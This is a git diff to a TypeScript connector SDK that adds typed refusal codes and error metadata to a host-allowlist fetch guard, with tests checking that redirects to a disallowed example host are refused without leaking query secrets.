+      code: 'EGRESS_REDIRECT_HOST_DENIED',
+      host: 'evil.example.org',
+    },
+  ])('classifies $code and releases the redirect before refusing its request', async ({
+    location,
+    code,
+    host,
+  }) => {
+    const cancel = vi.fn(() => Promise.resolve());
+    const { fn, calls } = baseFetch(
+      stubResponse(302, { location }, { cancel }),
+    );
+    const guarded = egressFetch(['api.example.com'], { fetch: fn });
+
+    const failure = await guarded('https://api.example.com/start').catch(
+      (error: unknown) => error,
+    );
+
+    expect(failure).toBeInstanceOf(EgressDeniedError);
+    expect(failure).toMatchObject({
+      code,
+      policyKind: 'egress-fetch',
+      retryable: false,
+      details: { host, hop: 1 },
+    });
+    expect(JSON.stringify(failure)).not.toContain('hidden');
+    expect(calls).toHaveLength(1);
+    expect(cancel).toHaveBeenCalledTimes(1);
+  });
+
+  it.each([
+    {
+      status: 0,
+      maxRedirects: 20,
+      body: undefined,
+      code: 'EGRESS_REDIRECT_UNVERIFIABLE',
+      message:
+        'egressFetch: received an opaque redirect (status 0) whose Location cannot be read — this guard cannot verify the hop, so it fails closed; on a browser use redirect: "manual" and handle the 3xx yourself',
+    },
+    {
+      status: 302,
+      maxRedirects: 0,
+      body: undefined,
+      code: 'EGRESS_REDIRECT_LIMIT_EXCEEDED',
+      message: 'egressFetch: exceeded 0 redirects',
+    },
+    {
+      status: 307,
+      maxRedirects: 20,
+      body: { getReader: () => ({}) },
+      code: 'EGRESS_REDIRECT_BODY_UNREPLAYABLE',
+      message:
+        'egressFetch: cannot follow a redirect that re-sends a one-shot (stream) body — buffer the body or handle the 3xx with redirect: "manual"',
+    },
+  ])('keeps the TypeError message for $code with no next request', async ({
+    status,
+    maxRedirects,
+    body,
+    code,
+    message,
+  }) => {
+    const cancel = vi.fn(() => Promise.resolve());
+    const { fn, calls } = baseFetch(
+      stubResponse(status, { location: '/next?secret=hidden' }, { cancel }),
+    );
+    const guarded = egressFetch(['api.example.com'], {
+      fetch: fn,
+      maxRedirects,
+    });
+
+    const failure = await guarded('https://api.example.com/start', {
+      method: 'POST',
+      body,
+    }).catch((error: unknown) => error);
+
+    expect(failure).toBeInstanceOf(TypeError);
+    expect(failure).toBeInstanceOf(EgressGuardError);
+    expect(failure).toMatchObject({
+      kind: 'egress-guard',
+      message,
+      code,
+      policyKind: 'egress-fetch',
+      retryable: false,
+      details: { host: 'api.example.com', hop: 1 },
+    });
+    expect(JSON.stringify(failure)).not.toContain('hidden');
+    expect(calls).toHaveLength(1);
+    expect(cancel).toHaveBeenCalledTimes(1);
+  });
+
+  it('classifies opaque redirects after an allowed hop and disposes both responses', async () => {
+    const cancel = vi.fn(() => Promise.resolve());
+    const { fn, calls } = baseFetch(
+      stubResponse(302, { location: '/next' }, { cancel }),
+      stubResponse(0, {}, { cancel }),
+    );
+
+    await expect(
+      egressFetch(['api.example.com'], { fetch: fn })(
+        'https://api.example.com/start',
+      ),
+    ).rejects.toMatchObject({
+      code: 'EGRESS_REDIRECT_UNVERIFIABLE',
+      retryable: false,
+      details: { host: 'api.example.com', hop: 2 },
+    });
+    expect(calls).toHaveLength(2);
+    expect(cancel).toHaveBeenCalledTimes(2);
+  });
+
+  it('retains legacy standalone construction and copies safe details', () => {
+    const denial = { host: 'api.example.com', hop: 0, reason: 'custom reason' };
+    const error = new EgressDeniedError(denial);
+    denial.host = 'changed.example.com';
+
+    expect(error).toMatchObject({
+      message: 'egress denied: custom reason',
+      host: 'api.example.com',
+      hop: 0,
+      reason: 'custom reason',
+      code: 'EGRESS_DENIED',
+      policyKind: 'egress-fetch',
+      retryable: false,
+      details: { host: 'api.example.com', hop: 0 },
+    });
+    expect(Object.isFrozen(error.details)).toBe(true);
+  });
+});
+
 describe('egressFetch construction', () => {
   it('rejects allowlist entries that are not bare hostnames', () => {
     // #given / #when / #then
@@ -516,6 +741,7 @@ describe('egressFetch seams', () => {
     );
     expect(denials).toEqual([
       {
+        code: 'EGRESS_HOST_NOT_DECLARED',
         host: 'evil.example.org',
         reason: "host 'evil.example.org' is not in the allowed egress hosts",
         hop: 0,
@@ -523,6 +749,25 @@ describe('egressFetch seams', () => {
     ]);
   });
 
+  it('preserves a frozen custom mapper error without adding metadata', async () => {
+    const mapped = Object.freeze(new Error('mapper-owned error'));
+    const { fn, calls } = baseFetch();
+    const denied = vi.fn((_denial: EgressDenial) => mapped);
+    const guarded = egressFetch(['api.example.com'], { fetch: fn, denied });
+
+    await expect(guarded('https://evil.example.org/')).rejects.toBe(mapped);
+
+    expect(denied).toHaveBeenCalledWith({
+      code: 'EGRESS_HOST_NOT_DECLARED',
+      host: 'evil.example.org',
+      reason: "host 'evil.example.org' is not in the allowed egress hosts",
+      hop: 0,
+    });
+    expect(mapped).not.toHaveProperty('code');
+    expect(mapped).not.toHaveProperty('details');
+    expect(calls).toHaveLength(0);
+  });
+
   it('defaults the base to the global fetch and fails loudly without one', async () => {
     // #given
     const { fn, calls } = baseFetch(stubResponse(200));
diff --git a/packages/breakwater/src/connector-sdk/egress-fetch.ts b/packages/breakwater/src/connector-sdk/egress-fetch.ts
index aec6359e..f69237f9 100644
--- a/packages/breakwater/src/connector-sdk/egress-fetch.ts
+++ b/packages/breakwater/src/connector-sdk/egress-fetch.ts
@@ -1,30 +1,13 @@
 // SPDX-License-Identifier: Apache-2.0
-// Fetch-level egress enforcement — the runtime half of the egress posture.
-// The networkEgress POLICY gates what a manifest DECLARES; this guard gates
-// what the connector actually REACHES: egressFetch() wraps a base fetch so
-// every request — redirect hops included — must resolve to an allowed host
-// before any bytes leave. createConnector() hands each execution a guard
-// bound to the manifest's declared egress (ConnectorRuntime.fetch), closing
-// the actual ⊆ declared ⊆ org-allowed chain.
-//
-// Everything here is structural on purpose: breakwater's build tsconfig is
-// lib-ES2022-only (runtime-agnostic — no DOM, no @types/node, no
-// workers-types), so the web fetch surface is modeled as minimal structural
-// subsets, the same discipline as the D1 store seams. URL and Headers are
-// runtime globals everywhere fetch exists (Workers, Node >= 18, browsers).
-//
-// Redirects are followed MANUALLY with a per-hop allowlist check — the whole
-// point: with the platform's redirect: 'follow', an allowed host could 302
-// to an arbitrary one and the response would come back as if nothing left
-// the allowlist. Divergences from platform 'follow' (accepted): the final
-// response's `redirected` flag stays false (each hop was a 'manual' fetch);
-// a one-shot stream body cannot be re-sent across a 307/308 hop (throws
-// instead of silently truncating — buffer the body or handle the 3xx
-// yourself with redirect: 'manual'); and a browser's opaque redirect
-// response (status 0, all a browser exposes for the internal 'manual' hop) is
-// refused fail-closed rather than returned unfollowed — inert on Workers/Node,
-// which return a real 3xx status the per-hop check can inspect.
+// Structural fetch types keep the ES2022 build independent of DOM declarations.
+// Manual redirects let the guard check Location before the transport follows it.
 
+import {
+  CONNECTOR_DECISIONS,
+  type ConnectorDenialCode,
+  type ConnectorDenialMetadata,
+  captureConnectorDenialMetadata,
+} from '../connector-decision.js';
 import {
   assertEgressHostList,
   domainAllowed,
@@ -107,12 +90,16 @@ export type EgressFetchBase = (...args: never[]) => Promise<unknown>;
 
 /**
  * One denied request. `host` is null when the URL never parsed; `hop` is 0
- * for the initial request, n for the nth redirect. Deliberately never
- * carries the full URL — denials get audited, and query strings/paths can
- * embed secrets that must not reach a log sink.
+ * for the initial request, n for the nth redirect. Paths and query strings
+ * can contain secrets, so diagnostic fields use the hostname.
  */
 export interface EgressDenial {
-  /** Normalized denied hostname, or `null` when the URL was invalid. */
+  /** Stable request refusal code; omitted by legacy manual construction. */
+  readonly code?: Exclude<
+    Extract<ConnectorDenialCode, `EGRESS_${string}`>,
+    'EGRESS_HOST_NOT_ALLOWED_BY_ORG'
+  >;
+  /** Denied hostname, or `null` when the URL was invalid. */
   readonly host: string | null;
   /** Safe explanation that excludes the path and query string. */
   readonly reason: string;
@@ -120,9 +107,39 @@ export interface EgressDenial {
   readonly hop: number;
 }
 
+type AuthoredEgressDenial = EgressDenial & {
+  readonly code: NonNullable<EgressDenial['code']>;
+};
+
+type EgressDecisionMetadata = Extract<
+  ConnectorDenialMetadata,
+  { code: NonNullable<EgressDenial['code']> }
+>;
+
+/** Code-specific metadata for an operational redirect refusal. */
+export type EgressGuardMetadata = Extract<
+  ConnectorDenialMetadata,
+  {
+    code:
+      | 'EGRESS_REDIRECT_UNVERIFIABLE'
+      | 'EGRESS_REDIRECT_LIMIT_EXCEEDED'
+      | 'EGRESS_REDIRECT_BODY_UNREPLAYABLE';
+  }
+>;
+
 /** Error thrown when {@link egressFetch} refuses a request. */
 export class EgressDeniedError extends Error {
-  /** Normalized denied hostname, or `null` when the URL was invalid. */
+  /** Structural discriminator for a request denial. */
+  readonly kind = 'egress-denied';
+  /** Stable refusal code. */
+  readonly code: EgressDecisionMetadata['code'];
+  /** Canonical policy category independent of diagnostic names. */
+  readonly policyKind: 'egress-fetch';
+  /** Whether the unchanged logical operation may be retried. */
+  readonly retryable: false;
+  /** Copied safe decision fields, excluding request contents. */
+  readonly details: EgressDecisionMetadata['details'];
+  /** Denied hostname, or `null` when the URL was invalid. */
   readonly host: string | null;
   /** Zero for the initial request, or the one-based redirect hop number. */
   readonly hop: number;
@@ -131,13 +148,48 @@ export class EgressDeniedError extends Error {
 
   constructor(denial: EgressDenial) {
     super(`egress denied: ${denial.reason}`);
+    const metadata = captureConnectorDenialMetadata({
+      code: denial.code ?? 'EGRESS_DENIED',
+      details: {
+        host: denial.host === null ? null : normalizeDomain(denial.host),
+        hop: denial.hop,
+      },
+    });
     this.name = 'EgressDeniedError';
+    this.code = metadata.code;
+    this.policyKind = CONNECTOR_DECISIONS[this.code].policyKind;
+    this.retryable = CONNECTOR_DECISIONS[this.code].retryable;
+    this.details = metadata.details;
     this.host = denial.host;
     this.hop = denial.hop;
     this.reason = denial.reason;
   }
 }
 
+/** A redirect refusal that retains the guard's TypeError boundary. */
+export class EgressGuardError extends TypeError {
+  /** Structural discriminator for an operational redirect refusal. */
+  readonly kind = 'egress-guard';
+  /** Stable refusal code. */
+  readonly code: EgressGuardMetadata['code'];
+  /** Canonical policy category independent of diagnostic names. */
+  readonly policyKind: 'egress-fetch';
+  /** Whether the unchanged logical operation may be retried. */
+  readonly retryable: false;
+  /** Copied safe decision fields, excluding request contents. */
+  readonly details: EgressGuardMetadata['details'];
+
+  constructor(message: string, metadata: EgressGuardMetadata) {
+    super(message);
+    const captured = captureConnectorDenialMetadata(metadata);
+    this.name = 'EgressGuardError';
+    this.code = captured.code;
+    this.policyKind = CONNECTOR_DECISIONS[this.code].policyKind;
+    this.retryable = CONNECTOR_DECISIONS[this.code].retryable;
+    this.details = captured.details;
+  }
+}
+
 /** Configuration for {@link egressFetch}. */
 export interface EgressFetchOptions {
   /**
@@ -146,9 +198,8 @@ export interface EgressFetchOptions {
    */
   fetch?: EgressFetchBase;
   /**
-   * Map a denial to the error thrown to the caller — the audit seam
-   * (createConnector records the denial and returns a ConnectorPolicyError
-   * here). Default: `new EgressDeniedError(denial)`.
+   * Map a request denial to a caller-owned error.
+   * Default: `new EgressDeniedError(denial)`.
    */
   denied?: (denial: EgressDenial) => Error;
   /** Redirect hops followed before throwing a TypeError (default 20, the
@@ -287,7 +338,7 @@ export function egressFetch(
   // uses.
   const normalizedHosts = allowedHosts.map(normalizeDomain);
   const UrlCtor = requireGlobal<UrlConstructor>('URL');
-  const denied =
+  const denied: (denial: AuthoredEgressDenial) => Error =
     options.denied ?? ((denial: EgressDenial) => new EgressDeniedError(denial));
   // A non-negative integer, symmetric with the allowlist validation above:
   // NaN/negative/fractional would make `hop > maxRedirects` never fire and an
@@ -319,6 +370,7 @@ export function egressFetch(
       url = from ? new UrlCtor(raw, from.href) : new UrlCtor(raw);
     } catch {
       throw denied({
+        code: hop === 0 ? 'EGRESS_URL_INVALID' : 'EGRESS_REDIRECT_URL_INVALID',
         host: null,
         reason:
           hop === 0
@@ -329,6 +381,10 @@ export function egressFetch(
     }
     if (url.protocol !== 'http:' && url.protocol !== 'https:') {
       throw denied({
+        code:
+          hop === 0
+            ? 'EGRESS_SCHEME_NOT_ALLOWED'
+            : 'EGRESS_REDIRECT_SCHEME_NOT_ALLOWED',
         host: url.hostname,
         reason: `scheme '${url.protocol}' is not http(s)`,
         hop,
@@ -336,6 +392,10 @@ export function egressFetch(
     }
     if (!domainAllowed(normalizeDomain(url.hostname), normalizedHosts)) {
       throw denied({
+        code:
+          hop === 0
+            ? 'EGRESS_HOST_NOT_DECLARED'
+            : 'EGRESS_REDIRECT_HOST_DENIED',
         host: url.hostname,
         reason: `host '${url.hostname}' is not in the allowed egress hosts`,
         hop,
@@ -353,6 +413,7 @@ export function egressFetch(
           : undefined;
     if (raw === undefined) {
       throw denied({
+        code: 'EGRESS_INPUT_INVALID',
         host: null,
         reason:
           'input must be a URL string or URL object — pass (url, init), not a Request',
@@ -376,30 +437,28 @@ export function egressFetch(
 
     for (let hop = 1; ; hop++) {
       if (response.status === 0) {
-        // A browser's redirect: 'manual' yields an opaque status-0 response
-        // (Workers/Node return a real 3xx); its Location is unreadable, so the
-        // per-hop check cannot run. Fail closed rather than return an
-        // unfollowed redirect. Covers the initial response and every hop.
-        // Release the discarded response's body first, like the sites below.
         releaseResponse(response);
-        throw new TypeError(
+        throw new EgressGuardError(
           'egressFetch: received an opaque redirect (status 0) whose Location cannot be read — this guard cannot verify the hop, so it fails closed; on a browser use redirect: "manual" and handle the 3xx yourself',
+          {
+            code: 'EGRESS_REDIRECT_UNVERIFIABLE',
+            details: { host: normalizeDomain(url.hostname), hop },
+          },
         );
       }
       if (!REDIRECT_STATUSES.has(response.status)) return response;
       const location = response.headers.get('location');
       if (location === null) return response;
-      // Past here `response` is a redirect this loop consumes: every path below
-      // either follows the hop (reassigning `response`) or throws, so the caller
-      // never sees it again. Capture the one field the follow-up still needs,
-      // then release its body — the hop cap, a denied Location, the one-shot
-      // refusal, and the reassignment would each otherwise leak the discarded
-      // 3xx's connection (the opaque status-0 refusal above is the fifth discard
-      // site, released the same way at the top of the loop before its throw).
       const status = response.status;
       releaseResponse(response);
       if (hop > maxRedirects) {
-        throw new TypeError(`egressFetch: exceeded ${maxRedirects} redirects`);
+        throw new EgressGuardError(
+          `egressFetch: exceeded ${maxRedirects} redirects`,
+          {
+            code: 'EGRESS_REDIRECT_LIMIT_EXCEEDED',
+            details: { host: normalizeDomain(url.hostname), hop },
+          },
+        );
       }
       const nextUrl = checkUrl(location, hop, url);
       headers ??= new (requireGlobal<HeadersConstructor>('Headers'))(
@@ -410,8 +469,12 @@ export function egressFetch(
         body = null;
         for (const name of BODY_HEADER_NAMES) headers.delete(name);
       } else if (body !== null && isOneShotBody(body)) {
-        throw new TypeError(
+        throw new EgressGuardError(
           'egressFetch: cannot follow a redirect that re-sends a one-shot (stream) body — buffer the body or handle the 3xx with redirect: "manual"',
+          {
+            code: 'EGRESS_REDIRECT_BODY_UNREPLAYABLE',
+            details: { host: normalizeDomain(nextUrl.hostname), hop },
+          },
         );
       }
       if (nextUrl.origin !== url.origin) {
diff --git a/packages/breakwater/src/connector-sdk/egress-posture.ts b/packages/breakwater/src/connector-sdk/egress-posture.ts
new file mode 100644
index 00000000..e42c0cd9
--- /dev/null
+++ b/packages/breakwater/src/connector-sdk/egress-posture.ts
@@ -0,0 +1,14 @@
+// SPDX-License-Identifier: Apache-2.0
+// One resolution of the posture default, in a leaf that imports only types, so
+// a module can read it without taking on the SDK barrel.
+import type {
+  ConnectorEgressPosture,
+  PermissionManifest,
+} from './contracts.js';
+
+/** The omitted-field default: a manifest without the field declares only. */
+export function resolveEgressPosture(
+  manifest: PermissionManifest,
+): ConnectorEgressPosture {
+  return manifest.egressEnforcement ?? 'declaration-only';
+}
diff --git a/packages/breakwater/src/connector-sdk/idempotency-migration.ts b/packages/breakwater/src/connector-sdk/idempotency-migration.ts
index e39e6d25..03992eae 100644
--- a/packages/breakwater/src/connector-sdk/idempotency-migration.ts
+++ b/packages/breakwater/src/connector-sdk/idempotency-migration.ts
@@ -1,6 +1,6 @@
 // SPDX-License-Identifier: Apache-2.0
 
-import type { IdempotencyInspection, IdempotencyRecord } from './index.js';
+import type { IdempotencyInspection, IdempotencyRecord } from './contracts.js';
 
 export interface AtomicLegacyIdempotencyMigrationRequest {
   sourceKey: string;
diff --git a/packages/breakwater/src/connector-sdk/index.ts b/packages/breakwater/src/connector-sdk/index.ts
index 50ec2a6e..9633a30d 100644
--- a/packages/breakwater/src/connector-sdk/index.ts
+++ b/packages/breakwater/src/connector-sdk/index.ts
@@ -1,34 +1,4 @@
 // SPDX-License-Identifier: Apache-2.0
-// Connector SDK — createConnector() wraps Mastra's createTool() with an
-// enforced permission manifest. Mastra createTool() has no manifest field
-// (its MCP annotations are descriptive only), so the manifest is stripped
-// from the config, compiled, and enforced by wrapping execute:
-//
-// 1. Network egress — declared domains checked against the org allowlist
-// 2. Authorization  — declared requiredPermissions checked against the
-//                     trusted principal-permissions projection, before the
-//                     dry-run branch and the approval gate; an approval must
-//                     not elevate an unauthorized principal
-// 3. Write gate     — write-class calls needing approval are denied unless
-//                     the request carries a grant, on every path; Mastra's
-//                     native requireApproval is also compiled so agent runs
-//                     pause for the decision, but it never substitutes for
-//                     the grant
-// 4. Idempotency    — keyed replay returns the stored result, so retries
-//                     and DO lifecycle boundaries cannot duplicate a side
-//                     effect
-// 5. Dry-run        — a caller-requested simulation (DRY_RUN_CONTEXT_KEY)
-//                     runs the connector's side-effect-free dryRunExecute;
-//                     connectors that do not declare dry-run support fail
-//                     the request closed instead of executing for real
-// 6. Rate limit     — a '<count>/<unit>' manifest budget enforced against a
-//                     fixed-window counter store; only actual executions
-//                     consume it
-//
-// Denials throw ConnectorPolicyError; every decision lands in the audit log.
-// The manifest carries only fields the wrapper enforces (see
-// docs/connector-interface.md).
-
 import { RequestContext } from '@mastra/core/request-context';
 import {
   type PublicSchema,
@@ -38,15 +8,26 @@ import {
 } from '@mastra/core/schema';
 import type { Tool, ToolExecutionContext } from '@mastra/core/tools';
 import { createTool, isValidationError, noopObserve } from '@mastra/core/tools';
-import { type AuditLogger, agentAuditDetail } from '../audit/index.js';
+import { agentAuditDetail } from '../audit/index.js';
 import { safeAuditErrorSummary } from '../audit/safe-error.js';
+import {
+  CONNECTOR_DECISIONS,
+  type ConnectorDecisionCode,
+  type ConnectorDenialMetadata,
+  ConnectorEvaluatorError,
+  ConnectorInvocationError,
+  ConnectorPolicyError,
+  ConnectorStoreError,
+  ConnectorValidationError,
+  captureConnectorDenialMetadata,
+  captureConnectorEvaluatorMetadata,
+  connectorErrorDecision,
+  isInstanceOf,
+  readProperty,
+} from '../connector-decision.js';
 import type {
-  NetworkEgressOptions,
-  PolicyDecision,
-  SideEffect,
   ToolCallContext,
   ToolPolicyEvaluator,
-  WritePermissionsPolicy,
 } from '../policy-engine/tool-policy.js';
 import {
   approvalRequired,
@@ -63,8 +44,33 @@ import {
   isPrincipalPermissions,
   PRINCIPAL_PERMISSIONS_CONTEXT_KEY,
 } from '../rbac/permission.js';
-import type { EgressFetchBase, EgressGuardedFetch } from './egress-fetch.js';
-import { EgressDeniedError, egressFetch } from './egress-fetch.js';
+import type {
+  AtomicIdempotencyStore,
+  Connector,
+  ConnectorEgressPosture,
+  ConnectorInvocationOptions,
+  ConnectorPolicies,
+  IdempotencyInspection,
+  IdempotencyRecord,
+  IdempotencyReservation,
+  IdempotencyStore,
+  InspectableIdempotencyStore,
+  PermissionManifest,
+  RateLimitStore,
+} from './contracts.js';
+import {
+  type ConnectorConformanceFactory,
+  type ConnectorConformanceOptions,
+  type ConnectorConformanceReport,
+  createConformanceAssertion,
+} from './egress-conformance.js';
+import type { EgressGuardedFetch } from './egress-fetch.js';
+import {
+  EgressDeniedError,
+  EgressGuardError,
+  egressFetch,
+} from './egress-fetch.js';
+import { resolveEgressPosture } from './egress-posture.js';
 import {
   idempotencyStorageKey,
   isAmbiguousLegacyIdempotencyIdentity,
@@ -82,58 +88,11 @@ import {
 import { newToken } from './new-token.js';
 import { assertSingleTenantConnectorPolicies } from './single-tenant-preset.js';
 
-/** Permission manifest — what the connector declares about itself. */
-export interface PermissionManifest {
-  /** Worst side effect the connector can cause. */
-  sideEffect: SideEffect;
-  /** Hostnames this connector calls; gated by the networkEgress policy. */
-  egress?: readonly string[];
-  /**
-   * Caller must supply a per-call idempotency key
-   * (IDEMPOTENCY_KEY_CONTEXT_KEY in requestContext). Replays of a stored
-   * key return the stored result without re-executing.
-   */
-  idempotencyKey?: boolean;
-  /** Always require human approval, regardless of org policy. */
-  requiresApproval?: boolean;
-  /**
-   * Connector supports side-effect-free simulation: requires
-   * `ConnectorConfig.dryRunExecute`. Callers request a simulation per call
-   * by setting requestContext DRY_RUN_CONTEXT_KEY to true.
-   */
-  dryRun?: boolean;
-  /**
-   * Execution budget as '<count>/<unit>' — e.g. '100/min'; units are the
-   * singular s|sec|second|m|min|minute|h|hour|d|day. Enforced with fixed
-   * windows against `policies.rateLimitStore`; only actual executions
-   * consume budget (denied calls, replays, and shared in-flight joins do
-   * not).
-   */
-  rateLimit?: string;
-  /**
-   * Allow Mastra background intent for this connector. The default is
-   * foreground-only. Only a read-only connector may enable this field;
-   * write-class connectors fail at construction.
-   */
-  background?: boolean;
-  /**
-   * Server-derived permissions required to invoke this connector, with
-   * explicit ALL-OF semantics: the executing principal must hold every
-   * listed identifier. Enforced against the trusted
-   * `breakwater.principalPermissions` projection BEFORE the dry-run branch
-   * and the approval-grant gate — authorization applies to simulations too,
-   * and a valid approval must not elevate an unauthorized principal. A call
-   * with no valid projection fails closed. Omission preserves the existing
-   * approval/policy-only behavior; a present list must be non-empty.
-   */
-  requiredPermissions?: readonly Permission[];
-}
-
-/** Completed result stored for idempotent replay. */
-export interface IdempotencyRecord {
-  /** Connector result returned by future calls with the same scoped key. */
-  result: unknown;
-}
+export type {
+  ConnectorEgressPosture,
+  IdempotencyRecord,
+  PermissionManifest,
+} from './contracts.js';
 
 /** Business identity used to inspect one legacy connector idempotency row. */
 export interface LegacyConnectorIdempotencyIdentity {
@@ -160,96 +119,13 @@ export type LegacyConnectorIdempotencyMigrationResult =
   | { state: 'target-conflict'; target: IdempotencyInspection }
   | { state: 'output-invalid'; issues: readonly StandardSchemaIssue[] };
 
-/**
- * Result storage keyed by a private, versioned composite key. Callers must
- * treat keys as opaque. The record wrapper distinguishes a stored undefined
- * result from a miss.
- *
- * get/put plus the wrapper's in-flight dedup close same-isolate races only.
- * Durable implementations (D1/KV) must implement AtomicIdempotencyStore —
- * its reserve() claim is what stops two isolates racing one key from both
- * missing get() and both executing. D1IdempotencyStore ships that shape.
- */
-export interface IdempotencyStore {
-  /** Return the completed record for a scoped key, or `undefined` on a miss. */
-  get(
-    key: string,
-  ): IdempotencyRecord | undefined | Promise<IdempotencyRecord | undefined>;
-  /**
-   * Finalize a key's record. `token` is the lease returned by an atomic
-   * reserve(): when supplied, the store finalizes ONLY if the key still
-   * belongs to that lease. A stale holder whose lease was taken over cannot
-   * overwrite the new result. Omit the token on the legacy get/put path,
-   * which upserts
-   * unconditionally (same-isolate protection only).
-   */
-  put(
-    key: string,
-    record: IdempotencyRecord,
-    token?: string,
-  ): void | Promise<void>;
-}
-
-/**
- * Outcome of an atomic reservation: execute a newly reserved key, replay a
- * completed record, or report that another isolate still owns the key.
- */
-export type IdempotencyReservation =
-  | {
-      /** This caller owns the reservation and may execute. */
-      state: 'reserved';
-      /** Opaque lease required to finalize or release the reservation. */
-      token: string;
-      /** Whether this reservation replaced a stale pending holder. */
-      tookOver?: boolean;
-    }
-  | {
-      /** A completed result exists and must be replayed without execution. */
-      state: 'replay';
-      /** Completed result associated with the key. */
-      record: IdempotencyRecord;
-    }
-  | {
-      /** Another isolate owns a non-stale reservation. */
-      state: 'pending';
-    };
-
-/**
- * Idempotency store with an atomic claim — the shape durable, cross-isolate
- * implementations must take: reserve() is a compare-and-set, so two isolates
- * racing one key resolve to exactly one 'reserved' winner. The connector
- * wrapper prefers this path whenever a store implements it.
- */
-export interface AtomicIdempotencyStore extends IdempotencyStore {
-  /** Atomically reserve a scoped key or return its current state. */
-  reserve(
-    key: string,
-  ): IdempotencyReservation | Promise<IdempotencyReservation>;
-  /**
-   * Drop a pending reservation after a failed execute — failures stay
-   * retryable. `token` is the lease from reserve(): when supplied, only the
-   * matching lease's pending row is dropped, so a stale holder cannot delete
-   * a newer claim.
-   */
-  release(key: string, token?: string): void | Promise<void>;
-}
-
-/** Non-mutating state returned by an inspectable idempotency store. */
-export type IdempotencyInspection =
-  | { state: 'absent' }
-  | { state: 'pending' }
-  | { state: 'replay'; record: IdempotencyRecord };
-
-/**
- * Idempotency store that can distinguish an absent key from a pending claim
- * without reserving it. Atomic stores need this capability during the v1-to-v2
- * composite-key transition so legacy pending work cannot be mistaken for a
- * miss and executed again.
- */
-export interface InspectableIdempotencyStore extends IdempotencyStore {
-  /** Inspect a key without reserving, finalizing, or releasing it. */
-  inspect(key: string): IdempotencyInspection | Promise<IdempotencyInspection>;
-}
+export type {
+  AtomicIdempotencyStore,
+  IdempotencyInspection,
+  IdempotencyReservation,
+  IdempotencyStore,
+  InspectableIdempotencyStore,
+} from './contracts.js';
 
 function isAtomicStore(
   store: IdempotencyStore,
@@ -464,25 +340,7 @@ export class InMemoryIdempotencyStore
   }
 }
 
-/**
- * Fixed-window rate-limit counters keyed by connector id. Implementations
- * back the manifest's `rateLimit` budget. The store's reach IS the budget's
- * reach: InMemoryRateLimitStore caps per isolate (per RUN under DO-per-run
- * routing); a declared cap that must hold across isolates needs
- * D1RateLimitStore (or an equivalent shared store).
- */
-export interface RateLimitStore {
-  /**
-   * Atomically count one call against the connector's current fixed window
-   * and return the post-increment count. `now` is caller-supplied epoch ms
-   * so stores stay clock-free.
-   */
-  increment(
-    key: string,
-    windowMs: number,
-    now: number,
-  ): number | Promise<number>;
-}
+export type { RateLimitStore } from './contracts.js';
 
 /** Dev/test store — per-isolate fixed windows, replaced on rollover. */
 export class InMemoryRateLimitStore implements RateLimitStore {
@@ -502,37 +360,7 @@ export class InMemoryRateLimitStore implements RateLimitStore {
   }
 }
 
-/** Org-level policy bindings enforced by the connector's execute wrapper. */
-export interface ConnectorPolicies {
-  /** Organization allowlist applied to the manifest's declared hosts. */
-  networkEgress?: NetworkEgressOptions;
-  /** Organization approval rules for write-class connector IDs. */
-  writePermissions?: WritePermissionsPolicy;
-  /**
-   * Custom tool-boundary evaluators, run pre-execute after the built-in
-   * network-egress gate, in registration order.
-   */
-  evaluators?: readonly ToolPolicyEvaluator[];
-  /** Store used when the manifest requires an idempotency key. */
-  idempotencyStore?: IdempotencyStore;
-  /**
-   * Explicit v2 composite-key rollout acknowledgement. Set only after every
-   * legacy writer sharing the store has been stopped and drained and legacy
-   * rows have been inventoried. Without it, an absent legacy key fails closed
-   * instead of racing an old writer that could still create a v1 record.
-   */
-  idempotencyKeyMigration?: 'legacy-writers-drained';
-  /** Required when the manifest declares `rateLimit`. */
-  rateLimitStore?: RateLimitStore;
-  /** Optional audit logger for connector decisions and failures. */
-  audit?: AuditLogger;
-  /**
-   * Base fetch the per-call egress guard wraps before handing it to
-   * `execute` as `ConnectorRuntime.fetch` (tests inject the vendor mock
-   * here). Defaults to the runtime's global fetch.
-   */
-  fetch?: EgressFetchBase;
-}
+export type { ConnectorPolicies } from './contracts.js';
 
 /**
  * Per-execution runtime handed to `execute`/`dryRunExecute` as the third
@@ -544,8 +372,9 @@ export interface ConnectorPolicies {
  * actual ⊆ declared ⊆ org-allowed. A manifest with no `egress` gets a fetch
  * that denies everything. A vendor SDK carrying its own HTTP stack bypasses
  * the guard — route its traffic through this fetch (most SDKs accept a
- * fetch/transport option) or that connector's egress posture degrades to
- * declaration-only.
+ * fetch/transport option), or declare that connector
+ * `permissions.egressEnforcement: 'declaration-only'`, the posture
+ * `connectorEgressPosture()` then reads back.
  */
 export interface ConnectorRuntime {
   /** Fetch guarded by the connector manifest's declared egress hosts. */
@@ -592,25 +421,7 @@ export interface ConnectorConfig<TInput = unknown, TOutput = unknown> {
   policies?: ConnectorPolicies;
 }
 
-/** Breakwater connector with the execution function guaranteed at construction. */
-export type Connector<TInput = unknown, TOutput = unknown> = Tool<
-  TInput,
-  TOutput
-> & {
-  execute: NonNullable<Tool<TInput, TOutput>['execute']>;
-};
-
-/** Trusted host context accepted by {@link invokeConnector}. */
-export interface ConnectorInvocationOptions {
-  /** Request context carrying trusted policy, identity, and grant values. */
-  requestContext?: RequestContext;
-  /** Abort signal forwarded to the connector execution context. */
-  abortSignal?: AbortSignal;
-  /** Mastra observability helper, or the public no-op helper when omitted. */
-  observe?: ToolExecutionContext['observe'];
-  /** Exact Mastra tool-call identity used to match a tool-call approval grant. */
-  toolCallId?: string;
-}
+export type { Connector, ConnectorInvocationOptions } from './contracts.js';
 
 /** Exact suspension identity shared by a resume leg and its grants. */
 export interface ConnectorApprovalSuspension {
@@ -702,39 +513,6 @@ export const IDEMPOTENCY_KEY_CONTEXT_KEY = 'breakwater.idempotencyKey';
  */
 export const DRY_RUN_CONTEXT_KEY = 'breakwater.dryRun';
 
-/** Policy denial raised before a connector side effect is allowed to run. */
-export class ConnectorPolicyError extends Error {
-  /** Connector ID associated with the denial. */
-  readonly connector: string;
-  /** Name of the policy that denied the call. */
-  readonly policy: string;
-  /** Policy-supplied denial reason. */
-  readonly reason: string;
-
-  constructor(connector: string, policy: string, reason: string) {
-    super(`connector ${connector} denied by ${policy}: ${reason}`);
-    this.name = 'ConnectorPolicyError';
-    this.connector = connector;
-    this.policy = policy;
-    this.reason = reason;
-  }
-}
-
-/** Redacted input or output validation failure from a direct connector call. */
-export class ConnectorValidationError extends Error {
-  /** Connector whose public Mastra boundary rejected the value. */
-  readonly connector: string;
-  /** Side of the public connector boundary that rejected the value. */
